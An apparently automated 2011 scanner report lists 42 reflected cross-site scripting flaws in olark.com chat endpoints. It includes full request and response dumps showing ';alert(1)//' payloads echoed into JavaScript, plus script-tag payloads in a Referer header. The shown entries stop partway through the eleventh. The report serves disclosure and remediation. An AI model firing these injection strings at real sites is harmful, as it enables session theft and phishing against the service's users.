XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, async.olark.com

Report generated by XSS.CX at Sun Jun 05 06:32:43 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |
Loading

1. Cross-site scripting (reflected)

1.1. http://102-async.olark.com/nrpc/s [cb parameter]

1.2. http://102-async.olark.com/nrpc/s [j parameter]

1.3. http://289-async.olark.com/nrpc/s [cb parameter]

1.4. http://289-async.olark.com/nrpc/s [j parameter]

1.5. http://33-async.olark.com/nrpc/c [cb parameter]

1.6. http://33-async.olark.com/nrpc/c [j parameter]

1.7. http://33-async.olark.com/nrpc/s [cb parameter]

1.8. http://33-async.olark.com/nrpc/s [j parameter]

1.9. http://355-async.olark.com/nrpc/p [cb parameter]

1.10. http://355-async.olark.com/nrpc/p [j parameter]

1.11. http://409-async.olark.com/nrpc/p [cb parameter]

1.12. http://409-async.olark.com/nrpc/p [j parameter]

1.13. http://450-async.olark.com/nrpc/p [cb parameter]

1.14. http://450-async.olark.com/nrpc/p [j parameter]

1.15. http://489-async.olark.com/nrpc/c [cb parameter]

1.16. http://489-async.olark.com/nrpc/c [j parameter]

1.17. http://489-async.olark.com/nrpc/s [cb parameter]

1.18. http://489-async.olark.com/nrpc/s [j parameter]

1.19. http://492-async.olark.com/nrpc/s [cb parameter]

1.20. http://492-async.olark.com/nrpc/s [j parameter]

1.21. http://540-async.olark.com/nrpc/p [cb parameter]

1.22. http://540-async.olark.com/nrpc/p [j parameter]

1.23. http://577-async.olark.com/nrpc/p [cb parameter]

1.24. http://577-async.olark.com/nrpc/p [j parameter]

1.25. http://666-async.olark.com/nrpc/p [cb parameter]

1.26. http://666-async.olark.com/nrpc/p [j parameter]

1.27. http://67-async.olark.com/nrpc/p [cb parameter]

1.28. http://67-async.olark.com/nrpc/p [j parameter]

1.29. http://752-async.olark.com/nrpc/p [cb parameter]

1.30. http://752-async.olark.com/nrpc/p [j parameter]

1.31. http://783-async.olark.com/nrpc/s [cb parameter]

1.32. http://783-async.olark.com/nrpc/s [j parameter]

1.33. http://787-async.olark.com/nrpc/c [cb parameter]

1.34. http://787-async.olark.com/nrpc/c [j parameter]

1.35. http://787-async.olark.com/nrpc/s [cb parameter]

1.36. http://787-async.olark.com/nrpc/s [j parameter]

1.37. http://79-async.olark.com/nrpc/p [cb parameter]

1.38. http://79-async.olark.com/nrpc/p [j parameter]

1.39. http://850-async.olark.com/nrpc/s [cb parameter]

1.40. http://850-async.olark.com/nrpc/s [j parameter]

1.41. http://956-async.olark.com/nrpc/s [cb parameter]

1.42. http://956-async.olark.com/nrpc/s [j parameter]


1. Cross-site scripting (reflected)
There are 42 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://102-async.olark.com/nrpc/s [cb parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://102-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 52079%3balert(1)//a515a6012ab was submitted in the cb parameter. This input was echoed as 52079;alert(1)//a515a6012ab in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendnickname&q=3549.12939.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop52079%3balert(1)//a515a6012ab&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 102-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:36 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:36 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noop52079;alert(1)//a515a6012ab(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.2. http://102-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://102-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e70db'%3balert(1)//16a39c5264 was submitted in the j parameter. This input was echoed as e70db';alert(1)//16a39c5264 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2e70db'%3balert(1)//16a39c5264&&c=sendnickname&q=3549.12939.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&nickname=%5B%7B%22v%22%3A%22%7Bgeolocation%7D%20%23212%22%7D%5D&version=api-1.2.1&pretty=true HTTP/1.1
Host: 102-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/finance

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:35 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:35 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 267

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2e70db';alert(1)//16a39c5264')) hbl.util.remove_element('o2e70db';alert(1)//16a39c5264');}catch(e){}
1.3. http://289-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://289-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload a18f7%3balert(1)//756a28304c4 was submitted in the cb parameter. This input was echoed as a18f7;alert(1)//756a28304c4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendpresence&q=5581.17524.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noopa18f7%3balert(1)//756a28304c4&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fconsulting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%204%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2029%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 289-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/consulting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:45 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:45 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noopa18f7;alert(1)//756a28304c4(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.4. http://289-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://289-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f3eb'%3balert(1)//00833d81333 was submitted in the j parameter. This input was echoed as 1f3eb';alert(1)//00833d81333 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o21f3eb'%3balert(1)//00833d81333&&c=sendpresence&q=5581.17524.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fconsulting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%204%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2029%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 289-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/consulting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:40 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:40 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o21f3eb';alert(1)//00833d81333')) hbl.util.remove_element('o21f3eb';alert(1)//00833d81333');}catch(e){}
1.5. http://33-async.olark.com/nrpc/c [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://33-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3a452%3balert(1)//f5bfe7fd89e was submitted in the cb parameter. This input was echoed as 3a452;alert(1)//f5bfe7fd89e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o1&&c=create&q=1902.50869.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Fhosting&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.begin3a452%3balert(1)//f5bfe7fd89e&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 33-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:51 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:51 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 251

try{hbl.client.callbacks.begin3a452;alert(1)//f5bfe7fd89e(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o1')) hbl.util.remove_element('o1');}catch(e){}
1.6. http://33-async.olark.com/nrpc/c [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://33-async.olark.com
Path:   /nrpc/c

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ce7a5'%3balert(1)//2f2a57e1397 was submitted in the j parameter. This input was echoed as ce7a5';alert(1)//2f2a57e1397 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/c?j=o1ce7a5'%3balert(1)//2f2a57e1397&&c=create&q=1902.50869.1&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&v=Z6WEJHF3T2WNXYIB2S5UVNBY51571978&s=5157-1978017-10-1031&u=http%3A%2F%2Ffull360.com%2Fhosting&r=http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue&cb=hbl.client.callbacks.begin&g=ALL&version=api-1.2.1&pretty=true HTTP/1.1
Host: 33-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:41:50 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:41:50 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 280

try{hbl.client.callbacks.begin(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o1ce7a5';alert(1)//2f2a57e1397')) hbl.util.remove_element('o1ce7a5';alert(1)//2f2a57e1397');}catch(e){}
1.7. http://33-async.olark.com/nrpc/s [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://33-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5b776%3balert(1)//b602b69d761 was submitted in the cb parameter. This input was echoed as 5b776;alert(1)//b602b69d761 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2&&c=sendpresence&q=7139.52392.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop5b776%3balert(1)//b602b69d761&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fhosting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%202%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2016%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 33-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:55 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 240

try{hbl.client.noop5b776;alert(1)//b602b69d761(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2')) hbl.util.remove_element('o2');}catch(e){}
1.8. http://33-async.olark.com/nrpc/s [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://33-async.olark.com
Path:   /nrpc/s

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5071'%3balert(1)//c58958bec65 was submitted in the j parameter. This input was echoed as a5071';alert(1)//c58958bec65 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/s?j=o2a5071'%3balert(1)//c58958bec65&&c=sendpresence&q=7139.52392.2&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.noop&m=%5B%7B%22v%22%3A%22%7Bnickname%7D%22%7D%2C%7B%22v%22%3A%22looking%20at%20http%3A%2F%2Ffull360.com%2Fhosting%5Cn%7C%20referred%20from%20http%3A%2F%2Fwww.fakereferrerdominator.com%2FreferrerPathName%3FRefParName%3DRefValue%5Cn%7C%20located%20in%20%7Bgeolocation%7D%5Cn%7C%202%20pages%20viewed%5Cn%7C%20first%20visit%5Cn%7C%20using%20Firefox%20(Namoroka)%203.6.13%20on%20Windows%5Cn%7C%20%7Bipaddress%7D%5Cn%7C%20spent%2016%20minutes%20so%20far%22%7D%5D&p=chat&version=api-1.2.1&pretty=true HTTP/1.1
Host: 33-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:40:55 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:40:55 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 269

try{hbl.client.noop(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o2a5071';alert(1)//c58958bec65')) hbl.util.remove_element('o2a5071';alert(1)//c58958bec65');}catch(e){}
1.9. http://355-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://355-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload fa637%3balert(1)//7dee05ff38e was submitted in the cb parameter. This input was echoed as fa637;alert(1)//7dee05ff38e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o3&&c=pollevents&q=3716.25969.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.polleventsfa637%3balert(1)//7dee05ff38e&version=api-1.2.1&pretty=true HTTP/1.1
Host: 355-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:48 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:48 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 256

try{hbl.client.callbacks.polleventsfa637;alert(1)//7dee05ff38e(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o3')) hbl.util.remove_element('o3');}catch(e){}
1.10. http://355-async.olark.com/nrpc/p [j parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://355-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the j request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5ed33'%3balert(1)//f17908f5de6 was submitted in the j parameter. This input was echoed as 5ed33';alert(1)//f17908f5de6 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o35ed33'%3balert(1)//f17908f5de6&&c=pollevents&q=3716.25969.3&i=BIXS2LX4JGS5I03ALOJTQCJH51571978&cb=hbl.client.callbacks.pollevents&version=api-1.2.1&pretty=true HTTP/1.1
Host: 355-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://full360.com/hosting

Response

HTTP/1.1 200 OK
P3P: CP='Olark does not have a P3P policy. Learn why here: http://olark.com/p3p'
Server: BaseHTTP/0.3 Python/2.6.6
Date: Sat, 04 Jun 2011 21:53:48 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 04 Jun 2011 21:53:48 UTC
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
X-RPC: rp3.olark.net
Pragma: no-cache
Content-type: text/javascript
Content-Length: 285

try{hbl.client.callbacks.pollevents(
{
"duplicate_session_id": true,
"error": "ignored duplicate sequence_id (50 ids stored)"
}
);}catch(e){}try{if(document.getElementById('o35ed33';alert(1)//f17908f5de6')) hbl.util.remove_element('o35ed33';alert(1)//f17908f5de6');}catch(e){}
1.11. http://409-async.olark.com/nrpc/p [cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://409-async.olark.com
Path:   /nrpc/p

Issue detail

The value of the cb request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 4469b%3balert(1)//8ac9d9ae683 was submitted in the cb parameter. This input was echoed as 4469b;alert(1)//8ac9d9ae683 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nrpc/p?j=o4&&c=pollevents&q=69.38178.4&i=S9F1LSG2OWDYK06QL37SL9XM93534311&cb=hbl.client.callbacks.pollevents4469b%3balert(1)//8ac9d9ae683&version=api-1.2.1&pretty=true HTTP/1.1
Host: 409-async.olark.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.olark.com/signup/create_new_account?user%5Busername%5D=4b89a%22%3E%3Cscript%3Ealert(%22FOOL%22)%3C/script%3E45e8436854bbf5511&user%5Bemail%5D=%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x000042%29%3C%2Fscript%3E&user%5Bpassword%5D=&user%5Bpassword_confirmation%5D=&commit=Continue
